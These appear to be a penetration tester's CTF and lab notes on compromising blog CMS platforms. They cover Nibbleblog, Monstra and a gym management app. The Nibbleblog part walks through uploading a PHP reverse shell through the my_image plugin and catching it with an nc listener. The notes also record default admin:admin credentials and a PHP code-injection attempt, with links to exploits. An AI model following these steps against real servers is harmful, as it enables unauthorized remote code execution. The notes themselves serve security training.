Blogs

Priority

• Extends > Themes "Helloworld" > Save

• System > Backup > Content > Files > Save something

• System > Settings > Maintenance Mode <?php phpinfo(); ?> ..Save

• Plugins are often exploitable

• searchsploit

• github 'issues'

REF

• DirbNiktoWP - Also has webapp/cms/scanner

Nibbleblog

• https://curesec.com/blog/article/blog/NibbleBlog-403-Code-Execution-47.html

• Obtain Admin credentials > Activate My image plugin by visiting

• http://localhost/nibbleblog/admin.php?controller=plugins&action=install&plugin=my_image

• Upload PHP shell, ignore warnings Visit

• http://localhost/nibbleblog/content/private/plugins/my_image/image.php

• No matter what you NAME the php upload.. it will ALWAYS be "image.php" after uploading

Setup reverse.php
Upload: "reverse.php" with my IP

Execute:
http://10.129.1.135/nibbleblog/content/private/plugins/my_image/image.php

nc -nvlp 4444
Connected!

Monstra

• TartarHTB

Monstra
https://$IP/webservices/monstra-3.0.4/
https://$IP/webservices/monstra-3.0.4/admin/

admin:admin  ..default works!

Try to edit themes! 
They are often php

Monstra > Extends > Themes
"Helloworld" > Save ..fails

System > Backup ..not created (not writeable)
Content > Files ..new directory (created)
Content > Files > File ..Fails

System > Settings > Maintenance Mode
<?php phpinfo(); ?>   ..Save Fails
Hello                 ..Save Fails

-----------------------
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searchsploit monstra
github monstra > Issues > 
php code execution
Look for sqli or lfi

Gym Management

REF: Redteam CTF Defcon Pivonka found this vuln on his own! Actually a pubic/known exploit

• https://www.exploit-db.com/exploits/48506
• https://github.com/ratik92/gymmanagementsystem
• https://github.com/fakhrizulkifli/Defeating-PHP-GD-imagecreatefromjpeg
• https://medium.com/@asdqwedev/remote-image-upload-leads-to-rce-inject-malicious-code-to-php-gd-image-90e1e8b2aada
• https://gist.github.com/asdqwe3124/e63eba35dc8e6976af97f1a9348b277b